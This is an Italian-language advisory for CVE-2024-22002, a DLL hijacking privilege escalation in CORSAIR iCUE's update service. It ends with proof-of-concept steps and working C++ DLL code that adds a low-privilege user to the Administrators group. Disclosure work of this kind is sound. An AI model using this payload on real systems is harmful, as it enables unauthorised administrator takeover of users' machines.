iCUE_DllHijack_LPE-CVE-2024-22002

Software vulnerabile e versione

• Link per il download del software: CORSAIR iCUE v5.9.105 con iCUE Murals

Descrizione

È stata identificata una vulnerabilità di DLL Hijacking in iCUE v5.9.105. Questa vulnerabilità si verifica durante il processo di aggiornamento, gestito dal servizio "iCUEUpdateService". Il servizio avvia un processo ("cuepkg.exe") responsabile dell'esecuzione dell'aggiornamento, operando con privilegi "NT AUTHORITY\SYSTEM". Quando avvia il processo, cerca varie DLL nella directory \cuepkg-1.2.6, situata all'interno della directory di installazione di iCUE. Alcune di queste DLL non sono presenti per impostazione predefinita, ma poiché un utente normale ha i privilegi per creare file in quella directory, un aggressore potrebbe potenzialmente introdurre una DLL dannosa nella directory. Di conseguenza, questa DLL dannosa verrebbe caricata da cuepkg.exe con privilegi di Amministratore.

Le DLL rilevate affette sono le seguenti:

• MSASN1.dll
• NTASN1.dll
• profapi.dll

Vettore CVSS: (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)

• Punteggio Base: 7.8 (Alto)
• Punteggio Temporale: 7.8 (Alto)
• Punteggio Ambientale: 7.8 (Alto)

PoC

Come esempio, verrà presa la DLL profapi.dll.

1. Creare la nostra DLL dannosa e aggiungerla alla directory %INSTALLDIR%cuepkg-1.2.6.
2. Attendere che il programma si aggiorni automaticamente o, in questo caso, forzare l'aggiornamento facendo clic su "Verifica aggiornamenti".
3. Il nostro utente senza privilegi di Amministratore viene aggiunto al gruppo.

Privilegi dell'utente lowpriv prima dell'esecuzione della DLL dannosa:

Privilegi dell'utente lowpriv dopo l'esecuzione della DLL dannosa:

• Esempio di codice dannoso:

#include "pch.h"
#include <windows.h>
#include <cstdlib>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
    {
        system("net localgroup Administrators desktop-ckfiane\\lowpriv /add");
    }
    break;
    case DLL_PROCESS_DETACH:
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    }

    return TRUE;
}